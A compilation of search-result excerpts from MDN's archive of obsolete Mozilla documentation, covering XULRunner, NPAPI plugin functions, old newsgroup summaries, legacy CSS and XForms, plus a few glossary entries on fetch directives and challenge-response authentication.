... < datatype: "xml", < processdata: false, < data: content, < complete: getresponse, < contenttype: soapclient.contenttype + "; charset=\"" + soapclient.charset + "\"", < beforesend: function(req) { < req.setrequestheader("method", "post"); < req.setrequestheader("content-length", soapclient.contentlength); < req.setrequestheader("soapserver", soapclient.soapserver); < req.setrequestheader("soapaction", soapreq.action); < } < }); --- > var xhr = new xmlhttprequest(); > xhr.mozbackgroundrequest = true; > xhr.open('post', soapclient.proxy, true); > xhr.onreadystatechange = function() { > if (4 != xhr.readystate) { return; } > getresponse(xhr); > }; > var headers = { > 'method': 'post', > 'content-t...
...ype': soapclient.contenttype + '; charset="' + > soapclient.charset + '"', > 'content-length': soapclient.contentlength, > 'soapserver': soapclient.soapserver, > 'soapaction': soapreq.action > }; > for (var h in headers) { xhr.setrequestheader(h, headers[h]); } > xhr.send(content); ...
toolkit.singletonWindowType - Archive of obsolete content
preference type: string specified by: default prefs of xulrunner applications default: none example: pref("toolkit.singletonwindowtype", "xulmine"); by default, the toolkit.defaultchromeuri preference will cause xulrunner to open a new main application window each time an application is invoked.
... the toolkit.singletonwindowtype preference causes xulrunner to search for a window with the attribute windowtype as specified in this preference (e.g.
...if such a window is found, it will be re-used, otherwise a new window will be opened.
...see also: xulrunner:specifying startup chrome window, toolkit.defaultchromefeatures ...
XUL Explorer - Archive of obsolete content
option to automatically update the preview as the editor changes.
... simple xul checker can be used to ‘validate’ the xul snippet.
... it checks for legal element and attribute names, including allowed attributes for a given element.
... support attribute value checking where appropriate (boolean and enumerated values) - xul checker support “best practice” checks such as: using of commands and keys, strings in dtds and so on - xul checker multi-tabbed editor support support wizards to generate common projects - extensions support extension testing using firefox extension test mode venkman support dom inspector support future: support more “best practice” checks such as: more a11y checks, strings in dtds and so on - xul checker allow users to add snippets on the fly add sidebars for more functionality - property sidebar and project sidebar support wizards to generate common projects - xul files, js xpcom, and xulrunner applications for more detailed information, see the xul_explorer:planning#feature_...
ant script to assemble an extension - Archive of obsolete content
o package an extension <?xml version="1.0"?> this build file was written by régis décamps <decamps@users.sf.net> <project name="blogmark" default="createxpi"> <property name="version" value="1.3-rc1"/> <property name="description" value="new context-menu item to add the current page in your blogmarks"/> xpi file is created after "chrome/blogmark.jar" is created, which is then stuffed into "blogmark.xpi" <target name="createxpi" depends="createjar" description="assemble the final build blogmark.xpi"> <zip destfile="blogmark-${version}.xpi"> <zipfileset dir="." includes="chrome/blogmark.jar" /> <zipfileset dir="." includes="insta...
...ll.rdf" /> </zip> </target> everything inside the chrome directory is zipped into chrome/blogmark.jar <target name="createjar" depends="templates" description="assemble the jar"> <jar destfile="chrome/blogmark.jar"> <fileset dir="chrome/"> <include name="**/*"/> <exclude name="**/*~"/> <exclude name="**/*.tpl.*"/> <exclude name="blogmark.jar"/> </fileset> </jar> </target> <target name="templates" description="generate files from templates."> <copy file="chrome/content/blogmark/contents.rdf.tpl.xml" tofil...
...e="chrome/content/blogmark/contents.rdf" overwrite="true"> <filterchain> <replacetokens> <token key="version" value="${version}"/> <token key="description" value="${description}"/> </replacetokens> </filterchain> </copy> <copy file="chrome/content/blogmark/about.xul.tpl.xml" tofile="chrome/content/blogmark/about.xul" overwrite="true"> <filterchain> <replacetokens> <token key="version" value="${version}"/> ...
... </replacetokens> </filterchain> </copy> <copy file="install.rdf.tpl.xml" tofile="install.rdf" overwrite="true"> <filterchain> <replacetokens> <token key="version" value="${version}"/> <token key="description" value="${description}"/> </replacetokens> </filterchain> </copy> </target> </project> ...
calICalendarViewController - Archive of obsolete content
implementing a calicalendarviewcontroller allows for these actions to be performed in a manner consistent with the rest of the application in which the calicalendarview is included.
... last changed in gecko ?
... modifyoccurrence void modifyoccurrence (in caliitemoccurrence aoccurrence, in calidatetime anewstarttime, in calidatetime anewendtime); the modifyoccurrence method is used to change the attributes of an already existing caliitem.
...just the time changed), // then do so; otherwise pop up the dialog if (anewstarttime && anewendtime && !anewstarttime.isdate && !anewendtime.isdate) { var instance = aoccurrence.clone(); instance.startdate = anewstarttime; instance.enddate = anewendtime; instance.calendar.modifyitem(instance, aoccurrence, null); } else { modifyeve...
mozilla.dev.platform FAQ - Archive of obsolete content
then unpack the xul app into the mac structure with xulrunner -install-app q: can you build xulrunner with newer (>1.5) features, such as storage?
..." a: make sure the app can find the framework or you can use the packages of the firefox release repackager which uses the embedded framework successfully.
... please make sure you're using 1.8.0.4 or later (not 1.8.0.1, which had a bug that prevented this from working properly).
...a: have the browser.chromeurl preference - this should be a xul document containing a <browser type="content-primary"> element in which the popup window's content should get loaded.
Mozrunner - Archive of obsolete content
mozrunner is a python package which handles running of mozilla applications.
...command line usage the mozrunner command will launch the application (specified by --app) from a binary specified with -b or as located on the path.
...api usage mozrunner features a base class, mozrunner.runner.runner which is an integration layer api for interfacing with mozilla applications.
... mozrunner also exposes two application specific classes, firefoxrunner and thunderbirdrunner which record the binary names necessary for the runner class to find them on the system.
Mozilla.dev.apps.firefox-2006-09-29 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - september 22-29, 2006 announcements bon echo 20060921 nightly to recieve "major update" offer mike beltnzer announced that 'users running the bon echo 20060921 nightly build will be offered the chance to upgrade to a "new version"' firefox start up performance boris zbarsky recently performed some profiling of firefox's start up - these are some of the details discussions problem handling dmg files on mac discussion about why sometimes dmg files are not mounted correctly after they are downloaded.
... the distributor university students working on cache distribution project - looking for help for how to tap the http requests.
... can't view keith olbermann videos a user inability to launch videos, worked fine for others, ended up being a flash version problem.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - september 22-29, 2006 announcements bon echo 20060921 nightly to recieve "major update" offer mike beltnzer announced that 'users running the bon echo 20060921 nightly build will be offered the chance to upgrade to a "new version"' firefox start up performance boris zbarsky recently performed some profiling of firefox's start up - these are some of the details discussions problem handling dmg files on mac discussion about why sometimes dmg files are not mounted correctly after they are downloaded.
... the distributor university students working on cache distribution project - looking for help for how to tap the http requests.
... can't view keith olbermann videos a user inability to launch videos, worked fine for others, ended up being a flash version problem.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-10-26 - Archive of obsolete content
gavin replies that "[t]he log file shows a "no space left on device" error when trying to link the final executable." learn the traffic magic of search engine cloaking mark describes the magic of search engine cloaker.
... rebuild firefox after modifying source code an inqury about how to rebuild the code after making a minor change - the user is unfamiliar with how to use the command prompt.
... there should be a 'changes' faq a user suggests that a faq page be made for changes, since the same two questions keep coming up.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-10-27 - Archive of obsolete content
gavin replies that "[t]he log file shows a "no space left on device" error when trying to link the final executable." learn the traffic magic of search engine cloaking mark describes the magic of search engine cloaker.
... rebuild firefox after modifying source code an inqury about how to rebuild the code after making a minor change - the user is unfamiliar with how to use the command prompt.
... there should be a 'changes' faq a user suggests that a faq page be made for changes, since the same two questions keep coming up.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-11-03 - Archive of obsolete content
picking an alternate search engine for a particular search large discussion about how the search engine could be imporved.
... firing pageshow/pagehide when users change tabs discussion about using events that could be fired when the user changes a tab.
... suggestion: a built-in firefox feature a user suggests a feature to compare different versions of a webpage to see what has changed.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-11-04 - Archive of obsolete content
an alternate search engine for a particular search large discussion about how the search engine could be imporved.
... pageshow/pagehide when users change tabs discussion about using events that could be fired when the user changes a tab.
... suggestion: a built-in firefox feature a user suggests a feature to compare different versions of a webpage to see what has changed.
... authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-11-24 - Archive of obsolete content
however he has been unsuccessful and a bunch of errors.
... to view the joe's error please check the posting.
..."component returned failure code: 0x80570016 (ns_error_xpc_gs_returned_failure) [nsijscid.getservice]" nsresult: "0x80570016 (ns_error_xpc_gs_returned_failure)" location: "js frame :: chrome://modzilla/content/js/pkg_zillacom.js :: <top_level> :: line 1202" data: no] he is running xulrunner v1.8.0.4.
... announcements svg build dependency on cairo gfx on 11/22 november 21st: t rowley announced that: he will be landing his patch that starts the process of switching svg over to thebes (bug 354866).
2006-11-03 - Archive of obsolete content
announcments mozilla scheduled downtime - 11/2/2006, 7pm - 11pm pdt (0300 - 0700 utc) mozilla scheduled downtime - 11/2/2006, 7pm - 11pm pdt (0300 - 0700 utc) opening l10n repository on mozilla_1_8_branch for approved check-ins opening l10n repository on mozilla_1_8_branch for approved check-ins discussion from 50 to 100 locales a discussion on how to make l10n easier and increase the number of locals with which mozilla products ship.
... more tbox changes on the way, most hitting on friday preed discusses killing more tboxes.
... cross-product extension install improvements simon paquet points out how much easier it is to install an extension in firefox than it in any other product.
... bon echo status meeting: october 31st, 2006: (possibly final meeting) get notes here weekly project status meeting monday oct 30 1pm *pst*: get notes here ...
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.platform - october 28th - november 3rd, 2006 announcements developer chat with brendan eich!
... chat with the creator of javascript and mozilla cto brendan eich this tuesday, november 7th at 10am pst (utc-8) traffic xepra wants to know how to open multiple tabs in a new window.
... alex vinten and neil help him out by figuring out exactly which environment he's running in.
...robert sayre notes that he and dave liebreich have a nice, simple environment set up for browser-based js tests meetings no meetings this week ...
2006-09-29 - Archive of obsolete content
zach lipton is working to get us back in working order.
... discussions extension based testing - someone is in the process of writing a small extension that tests firefox's help in terms of table-of-contents and search looking for firefox triagers to evaluate a triage tool - a phd student is working on a way to assist triagers.
... he is looking for an approach to recommend to whom a bug report should be assigned (i.e.
... which developer(s) has/have the correct expertise for a particular bug report).
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.security - september 30, 2006 to october 6, 2006 return to mozilla-dev-tech-xul announcements none during this week.
...as well as any protocols that you have implemented and are not in the list of protocols nsscriptsecuritymanager::checkloaduri feed: consensus is that it should be allowed and treated as an ordinary link.
... problem looping c_opensession problem in thunderbird christian bongiorno has run into a problem developing a pkcs11 module for a new card.
... thunderbird is continuously repeating 7 functions including c_opensession which accesses the card that he is developing.
External resources for plugin creation - Archive of obsolete content
feature highlights include thread safety checks, unicode support (with std::wstring), activex support, built-in drawing model negotiation for mac, automatic type conversion (including javascript arrays and objects), advanced security features, and more.
...project: nixysa project home page description (from the home page): nixysa is a framework written in python to automatically generate glue code for npapi plugins (plugins for browsers such as google chrome or firefox), letting you easily expose c++ classes to javascript from a simple idl representation.
... it contains pretty much everything you're likely to need to create most applications, and is particularly good for creating highly-specialised uis and for handling graphics and sound.
...project: qtbrowserplugin project home page description (from the home page): the qtbrowserplugin solution makes it easy to write browser plugins that can be used in mozilla firefox, safari, opera, google chrome, qtwebkit and any other web browser that supports the "netscape plugin api", npapi articles, information, and tutorials npapi has been around a very long time, and there have been many attempts to distill down useful information on creating them: colonelpanic.net building a firefox plugin - part one: discusses the difference between npapi and npruntime and summarizes the basic apis needed to create...
NPAPI plugin developer guide - Archive of obsolete content
important: plugins are now a legacy technology.
...if there are plugin features which are not available in the web platform, we encourage developers to post their use cases to mozilla.dev.platform project list, so that mozilla can prioritize web platform work to make those use cases possible.
... plug-in basics how plug-ins are used plug-ins and helper applications how plug-ins work understanding the runtime model plug-in detection how gecko finds plug-ins checking plug-ins by mime type overview of plug-in structure understanding the plug-in api plug-ins and platform independence windowed and windowless plug-ins the default plug-in using html to display plug-ins plug-in display modes using the object element for plug-in display nesting rules for html elements using the appropriate attributes using the embed ele...
...ns specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http server uploading files...
NPN_GetAuthenticationInfo - Archive of obsolete content
syntax #include <npapi.h> nperror npn_getauthenticationinfo(npp instance, const char *protocol, const char *host, int32_t port, const char *scheme, const char *realm, char **username, uint32_t *ulen, char **password, uint32_t *plen); parameters this function has the following parameters: instance pointer to the current plug-in insta...
...nce protocol protocol name (uri scheme) host host name port port number scheme http authentication scheme name realm http authentication realm username out parameter.
... description plugin which implement their own http networking stack (such as the java plugin) may want to use the standard http auth prompts and password managed of the browser.
...unless the plugin has special networking needs, it is recommended to use the standard network apis, such as npn_geturlnotify/npn_posturlnotify.
NPN_GetURLNotify - Archive of obsolete content
syntax #include <npapi.h> nperror npn_geturlnotify(npp instance, const char* url, const char* target, void* notifydata); parameters the function has the following parameters: instance pointer to the current plug-in instance.
...can be of any type, such as http, ftp, news, or mailto.
... notifydata plug-in-private value for associating the request with the subsequent npp_urlnotify() call, which passes this value (see description below).
... npn_geturlnotify() typically handles the url request asynchronously.
NPN_GetValueForURL - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary provides information to a plugin which is associated with a given url, for example the cookies or preferred proxy.
... syntax #include <npapi.h> typedef enum { npnurlvcookie = 501, npnurlvproxy } npnurlvariable; nperror npn_getvalueforurl(npp instance, npnurlvariable variable, const char *url, char **value, uint32_t *len); parameters this function has the following parameters: instance pointer to the current plug-in instance.
... variable selects the type of information to be retrieved (npnurlvcookie or npnurlvproxy) url the url for which to fetch information.
... description this entry point is designed to allow plugins which implement their own http stacks to form requests to the web server in the same way the browser does.
NPN_PostURL - Archive of obsolete content
syntax #include <npapi.h> nperror npn_posturl(npp instance, const char *url, const char *target, uint32 len, const char *buf, npbool file); parameters the function has the following parameters: instance pointer to the current plug-in instance.
... for http urls only, the browser resolves this method as the http server method post, which transmits data to the server.
...for protocols in which the headers must be distinguished from the body, such as http, the buffer or file should contain the headers, followed by a blank line, then the body.
...npn_posturl is typically asynchronous: it returns immediately and only later handles the request.
NPN_SetValueForURL - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary allows a plugin to change the stored information associated with a url, in particular its cookies.
... (while the api theoretically allows the preferred proxy for a given url to be changed, doing so does not have much meaning given how proxies are configured, and is not supported.) syntax #include <npapi.h> typedef enum { npnurlvcookie = 501, npnurlvproxy } npnurlvariable; nperror npn_setvalueforurl(npp instance, npnurlvariable variable, const char *url, const char *value, uint32_t len); parameters this function has the following parameters: instance pointer to the current plug-in instance.
... variable selects the type of information to be changed.
... url the url for which to change information.
NPP - Archive of obsolete content
you specify one of these to any npapi function that needs to know which plug-in to work with.
... ndata a private value, owned by the browser, which is used to store data associated with the instance; this value should not be modified by the plug-in.
... description gecko creates an npp structure for each plug-in instance and passes a pointer to it to npp_new().
... this pointer--which is an opaque instance handle of a plug-in--identifies the instance on which api calls should operate.
NPP_WriteReady - Archive of obsolete content
description the browser calls npp_writeready before each call to npp_write to determine whether a plug-in can receive data and how many bytes it can receive.
... this function allows the browser to send only as much data to the instance as it can handle at one time, making resource use more efficient for both the browser and plug-in.
...because it is not processing streaming data, the browser can pass as much data to the instance as necessary in a single npp_write.
...the browser checks to see if the plug-in can receive data again by resending the data at regular intervals.
Shipping a plugin as a Toolkit bundle - Archive of obsolete content
historically, most people have chosen to use an install.js script to install a plugin.
... when this method is used, you can choose to either place the plugin into the plugins directory, or place it into your own directory and modify the windows registry to let firefox know where to find the plugin.
... the target application block says which versions of an application the plugin is compatible with.
...this should point to an update.rdf file on the internet which will include the updated versions and version information for the plugin.
Supporting private browsing in plugins - Archive of obsolete content
firefox 3.5 introduced private browsing, a mode in which potentially private information is not recorded in any way.
... it also introduced a mechanism by which plugins can determine whether or not private browsing mode is in effect.
... for example, if private browsing mode is in effect, video player plugins should not record the urls of watched videos in their histories.
... detecting private browsing mode plug-ins can detect whether or not private browsing mode is in effect by using the npn_getvalue() function to check the current value of the npnvprivatemodebool variable.
Writing a plugin for Mac OS X - Archive of obsolete content
getting started if you check out the mozilla source code in mac os x, you can simply open basicplugin.xcodeproj in xcode, click build, and you're done.
... info.plist the plugin communicates its mime and filename extension information using the info.plist file, which is packaged in the plugin bundle.
... some symbols must be visible as standard c symbols so the browser can find them, which means they need to be prefixed by an underscore, and must not have the c++ obfuscation that is generated by the c++ compiler.
... if you want to implement your plugin in c++ or objective-c++, you need to tell the compiler to export them in c format by using extern "c" in the header, like this: #pragma gcc visibility push(default) extern "c" { nperror np_initialize(npnetscapefuncs *browserfuncs); nperror np_getentrypoints(nppluginfuncs *pluginfuncs); void np_shutdown(void); } #pragma gcc visibility pop you can check to be sure your symbols are visible and in standard c format by using the nm utility provided among the mac os x developer tools: [user@foo mymac] nm basicplugin ...
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
an example using the most popular element of the rss slash module is shown below: <?xml version="1.0"> <rss version="2.0" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>example</title> <description>an rss example with slash</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>review of sin city</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/114</guid> <pubdate>su...
...ts> </item> <item> <title>first article!</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/112</guid> <pubdate>sun, 15 may 2005 08:14:11 -0500</lastbuilddate></pubdate> <link>http://www.example.com/blog/2005/05/15/112</link> <slash:comments>118</slash:comments> </item> </channel> </rss> the <slash:comments> element is it reason that the rss slash module is popular.
...(using either of these 2 rss modules is out of the scope of this article.) in reality, an item's comments count could change at any given time.
...one could assume that the comment count was acurate at the moment in time specified in the <channel>'s <lastbuilddate> element, but that is a risky assumption given that no where is that mandated.
Proposal - Archive of obsolete content
those labeled with "draft exists" can be implemented, but be warned that they could radically change.
...the transform must already exist on the machine running newsgator; stylesheets will not be downloaded or installed automatically.
...draft exists source guid when an rss item is posted in response to a previous item (called the source item) rss 2.0 offers the source element which allows the item to refer to the rss feed which contains the source item.
... the sguid specification provides a more granular approach by offering an sourceref element which can reference the guid permalink of the source.
.htaccess ( hypertext access ) - Archive of obsolete content
a file with the htaccess file extension is an access configuration file for apache server.
...t 301 / http://example.com/ # redirect the traffic to the directory to example.com , permanent redirect redirect 302 / http://example.com/ # redirect the traffic to the directory to example.com , temporary redirect blocking : htaccess also facilitates blocking traffic based on ip and ip range, also, use to block bad bots, rippers, and referrers; often used to restrict access by search engine spiders.
... deny from 146.0.74.205 # blocks all access from 146.0.74.205 to the directory ssi or server side include : include external files to each file requested by the user without the need to write include statements in the file; you can have them automatically attached to all the files, whether at top or bottom, automatically through your .htaccess file.
... cache control : .htaccess allows a server to control caching by web browsers, helps load pages faster, and reduces the data transfer.
Confidentiality, Integrity, and Availability - Archive of obsolete content
each objective addresses a different aspect of providing protection for information.
...such a failure of confidentiality, commonly known as a breach, typically cannot be remedied.
... so, in summary, a breach of confidentiality means that someone gains access to information who shouldn't have access to it.
...now imagine that an attacker can shop on your web site and maliciously alter the prices of your products, so that they can buy anything for whatever price they choose.
Creating a Skin for Firefox - Archive of obsolete content
a skin does not totally change the interface; instead, it just defines how the interface looks.
... you can't change what happens when the user right clicks on an image, but you can change the look of the right click menu (make it blue with pink polka dots, for example).
... if you want to change the functionality of firefox, you'll have to look into modifying the chrome, which is beyond the scope of this document.
... contents getting started original document information author(s): neil marshall and tucker lee other contributors: brent marshall, cdn (http://themes.mozdev.org), jp martin, boris zbarsky, asa dotzler, wesayso, david james, dan mauch, anders conbere, tim regula (http://www.igraphics.nn.cx) copyright information: copyright 2002-2003 neil marshall, permission given to mdc to migrate into the wiki april 2005 via email.
References - Archive of obsolete content
<- previous section: summary of changes you can learn more on using web standards from these sites (listed in no particular order): what are web standards and why should i use them?
...from web standards project web standards group from web standards group web page development: best practices from apple developer connection mozilla web author faq from henri sivonen making your web page compatible with mozilla from nicolás lichtmaier complete css guide from westciv.com css lessons and tutorials from alsacreations html and css lessons and tutorials from htmldog.com preparing for standard-compliant browsers, part 1 from makiko itoh preparing for standard-compliant browsers, part 2 from makiko itoh javascript best practices lists 15 of the most frequent coding practices which create problems for javascript and dhtml-driven webpages.
...it is also available in french.
... <- previous section: summary of changes ...
-ms-content-zoom-snap-points - Archive of obsolete content
snaplist( <percentage># ) specifies the position of individual snap-points as a comma-separated list of percentages, each of which represents a zoom factor.
...in the second selector, each snap-point is listed separately—100%, 200%, 300%, and so on.
...snap-points can change the animation that runs when the user lifts his or her finger so that you can adjust where the content will stop.
... starting with windows 8.1, this property is also supported for touchpad interaction.
-ms-scroll-snap-points-x - Archive of obsolete content
snaplist( <length-percentage># ) specifies the position of individual snap-points as a comma-separated list of values, each of which represents a zoom factor.
...in the second selector, each snap-point is listed separately — 100%, 200%, 300%, and so on.
... (the -ms-scroll-snap-points-x property behaves identically to the -ms-scroll-snap-points-y property, but along the x-axis.) .container { overflow-x: auto; overflow-y: hidden; -ms-scroll-snap-type: mandatory; -ms-scroll-snap-points-x: snapinterval(0%, 100%); width: 480px; height: 270px; } .imagecontainer { -ms-scroll-chaining: chained; -ms-overflow-style: none; -ms-content-zooming: zoom; -ms-scroll-rails: none; -ms-scroll-limit-x-min: 100%; -ms-scroll-limit-x-max: 500%; -ms-scroll-snap-type: proximity; -ms-scroll-snap-points-x: snaplist(100%, 200%, 300%, 400%, 500%); -ms-overflow-style: none; width: 480px; height: 270px; overflow: auto; } specifications not part of any specification.
... starting with windows 8.1, this property is also supported for mouse, keyboard, and touchpad interaction.
-ms-scroll-snap-points-y - Archive of obsolete content
snaplist( <length-percentage># ) specifies the position of individual snap-points as a comma-separated list of values, each of which represents a zoom factor.
...in the second selector, each snap-point is listed separately — 100%, 200%, 300%, and so on.
... (the -ms-scroll-snap-points-y property behaves identically to the -ms-scroll-snap-points-x property, but along the y-axis.) .container { overflow-x: auto; overflow-y: hidden; -ms-scroll-snap-type: mandatory; -ms-scroll-snap-points-y: snapinterval(0%, 100%); width: 480px; height: 270px; } .imagecontainer { -ms-scroll-chaining: chained; -ms-overflow-style: none; -ms-content-zooming: zoom; -ms-scroll-rails: none; -ms-scroll-limit-y-min: 100%; -ms-scroll-limit-y-max: 500%; -ms-scroll-snap-type: proximity; -ms-scroll-snap-points-y: snaplist(100%, 200%, 300%, 400%, 500%); -ms-overflow-style: none; width: 480px; height: 270px; overflow: auto; } specifications not part of any specification.
... starting with windows 8.1, this property is also supported for mouse, keyboard, and touchpad interaction.
-ms-text-autospace - Archive of obsolete content
ideograph-alpha creates extra spacing between runs of ideographic and non-ideographic text, such as latin-based, cyrillic, greek, arabic, or hebrew text.
... ideograph-numeric creates extra spacing between runs of ideographic text and numeric characters.
... ideograph-space extends the width of the space character when it is adjacent to ideographs.
... an ideograph is a character in an asian writing system that represents a concept or an idea, but not a particular word or pronunciation.
:-moz-system-metric() - Archive of obsolete content
to xul / chrome code).
... syntax values -moz-windows-compositormedia: media/visual accepts min/max prefixes: no:-moz-system-metric(images-in-menus)the :-moz-system-metric(images-in-menus) css pseudo-class matches an element if the computer's user interface supports images in menus.:-moz-system-metric(mac-graphite-theme):-moz-system-metric(mac-graphite-theme) will match an element if the user has chosen the "graphite" appearance in the "appearance" prefpane of the mac os x system preferences.:-moz-system-metric(scrollbar-end-backward)the :-moz-system-metric(scrollbar-end-backward) css pseudo-class will match an element if the computer's user interface includes a backward arrow button at the end of scrollbars.:-moz-system-metric(scrollbar-end-forward)the :-moz-system-metric(scrol...
...lbar-end-forward) css pseudo-class will match an element if the computer's user interface includes a forward arrow button at the end of scrollbars.:-moz-system-metric(scrollbar-start-backward)the :-moz-system-metric(scrollbar-start-backward) css pseudo-class will match an element if the computer's user interface includes a backward arrow button at the start of scrollbars.:-moz-system-metric(scrollbar-start-forward)the :-moz-system-metric(scrollbar-start-forward) css pseudo-class will match an element if the computer's user interface includes a forward arrow button at the start of scrollbars.:-moz-system-metric(scrollbar-thumb-proportional)the :-moz-system-metric(scrollbar-thumb-proportional) css pseudo-class will match an element if the computer's user interface uses proportional scrollbar t...
...humbs; that is, the draggable thumb on the scrollbar resizes to indicate the relative size of the visible area of the document.:-moz-system-metric(touch-enabled)the :-moz-system-metric(touch-enabled) css pseudo-class will match an element if the device on which the content is being rendered offers a supported touch-screen interface.:-moz-system-metric(windows-default-theme)the :-moz-system-metric(windows-default-theme) css pseudo-class matches an element if the user is currently using one of the following themes in windows: luna, royale, zune, or aero (i.e., vista basic, vista standard, or aero glass).
display-outside - Archive of obsolete content
other formatting contexts, such as flex formatting contexts, may also work with block-level elements.
... layout-specific internal types these display types require their parent and children to be of particular display types.
... for example, a table-row box requires its parent to be a table row group box and its children to be table-cell boxes.
...for example, a table-caption box must have a table parent, but can establish any kind of formatting context for its children.
The global XML object - Archive of obsolete content
extending xml.prototype xml.prototype and xmllist.prototype (xmllist.prototype is actually just xml.prototype) cannot be extended in the same conventional way as other constructors such as object.
...the following example defines the foocount() method, which returns the amount of <foo> elements in the xml: xml.prototype.function::foocount = function foocount() { return this..foo.length(); }; <foobar><foo/><foo/><foo/></foobar>.foocount() // returns 3 ignorecomments true by default.
...ignores whitespace between nodes and leading and trailing whitespace in text nodes, which would otherwise be interpreted as text nodes or as part of those text nodes, respectively.
...the number of spaces to indent each level in the xml tree.
Debug.msTraceAsyncCallbackStarting - Archive of obsolete content
the debug.mstraceasynccallbackstarting function associates the callback stack with a previously specified asynchronous operation.
... syntax debug.mstraceasynccallbackstarting(asyncoperationid) parameters asyncoperationid the id associated with the asynchronous operation.
... remarks call this function in the callback function for the asynchronous operation after the call to debug.mstraceasyncoperationcompleted.
... example the following code provides an example of tracing an asynchronous call for a windows 8.x store app.
GetObject - Archive of obsolete content
for example: var cadobject; cadobject = getobject("c:\\cad\\schema.cad"); when this code is executed, the application associated with the specified pathname is started, and the object in the specified file is activated.
...you could use the following code to activate a layer within a drawing called schema.cad: var layerobject = getobject("c:\\cad\\schema.cad!layer3"); if you do not specify the object's class, automation determines which application to start and which object to activate, based on the file name you provide.
...for example, a drawing might support three different types of objects: an application object, a drawing object, and a toolbar object, all of which are part of the same file.
... to specify which object in a file you want to activate, use the optional class argument.
New in JavaScript 1.1 - Archive of obsolete content
the following is a changelog for javascript from netscape navigator 2.0 to 3.0.
... changed functionality in javascript 1.1 "object deletion".
... tostring(): added radix parameter, which specifies the base to use for representing numeric values.
... isnan() now works on every platform (not only unix anymore) parsefloat() and parseint() now return nan on all platforms, if the first character of the specified string cannot be converted to a number; in previous releases, it returned nan on solaris and irix and zero on all other platforms.
New in JavaScript 1.2 - Archive of obsolete content
the following is a changelog for javascript from netscape navigator 3.0 to 4.0.
... the old netscape documentation can be found on archive.org.
... arguments new properties function.arity new methods array.prototype.concat() array.prototype.slice() string.prototype.charcodeat() string.prototype.concat() string.fromcharcode() string.prototype.match() string.prototype.replace() string.prototype.search() string.prototype.slice() string.prototype.substr() new operators delete equality operators (== and !=) new statements labeled statements switch do...while import export other new features regular expressions signed scripts changed fu...
... string.prototype.split() it can take a regular expression argument, as well as a fixed string, by which to split the object string.
Window.importDialog() - Archive of obsolete content
there may also be large incompatibilities between implementations and the behavior may change in the future.
... this function was only available in the original, xul-based version of firefox for android, which is no longer supported; for that reason, this function is obsolete and should never be used.
... asrc the chrome url of the xul dialog.
... example var dialog = importdialog(null, "chrome://myextension/content/dialog.xul", myobject); notes the xul passed to importdialog() is very similar to xul passed to window.opendialog(), with some limitations and caveats: only <dialog> top level elements are permitted.
XForms Group Element - Archive of obsolete content
introduction the group element is used as a container for defining a hierarchy of form controls.
... groups can be nested to create complex hierarchies.
...core form controls, groups, switches, repeats and host language content) within a non-relevant group are handled as non-relevant.
... if a group is non-relevant, then the rendering approach used to signify non-relevance is applied to the entire content of the group.
XForms Output Element - Archive of obsolete content
attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control accesskey - used to specify the keyboard shortcut for focusing this control single-node binding special value - xpath expression whose evaluation result is used as the output's value.
...characteristics text is presented to the user when there is no type given for the bound node or a type is specified that is not handled by one of the other widgets (as documented below).
...characteristics the bound instance node is of type xsd:date or a type derived from it in addition, the appearance attribute must also contain the value "full" firefox 2.0 doesn't currently have any similar widgets available for use with xhtml or xul.
...characteristics the bound instance node is of type xsd:anyuri, xsd:base64binary or a type derived from it either the mediatype attribute is present and contains the image's mimetype or the output element contains a mediatype element which specifies the image's mimetype (for example, image/*).
XForms - Archive of obsolete content
see the html forms guide for approaches to creating forms in html5.
...drawing on other w3c standards like xml schema, xpath, and xml events, xforms tried to address some of the limitations of the current html forms model.
... xforms custom controls custom controls lets the form author "skin" each xforms control through xbl, and create f.x.
... mailing list newsgroup rss feed #xforms channel on irc.mozilla.org w3c forms mailing list other community links...
Using the DOM File API in chrome code - Extensions
if you want to use the dom file api in chrome code, you can do so without restriction.
...if you pass a path to the file constructor from unprivileged code (such as web content), an exception will be thrown.
...in the xul/mozilla platform there isn't sadly an equivalent to java file.pathseparator (the system-dependent path-separator character).
... other such keys as the "profd" key are available, check the known locations.
Fetch directive - MDN Web Docs Glossary: Definitions of Web-related terms
csp fetch directives are used in a content-security-policy header and control locations from which certain resource types may be loaded.
... all fetch directives fall back to default-src.
... that means, if a fetch directive is absent in the csp header, the user agent will look for the default-src directive.
... see fetch directives for a complete list.
Challenge-response authentication - MDN Web Docs Glossary: Definitions of Web-related terms
in security protocols, a challenge is some data sent to the client by the server in order to generate a different response each time.
... challenge-response protocols are one way to fight against replay attacks where an attacker listens to the previous messages and resends them at a later time to get the same credentials as the original message.
... the http authentication protocol is challenge-response based, though the "basic" protocol isn't using a real challenge (the realm is always the same).
... learn more challenge-response authentication on wikipedia.
mozbrowserscrollareachanged
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the mozbrowserscrollareachanged event is fired when the available scrolling area in the browser <iframe> changes.
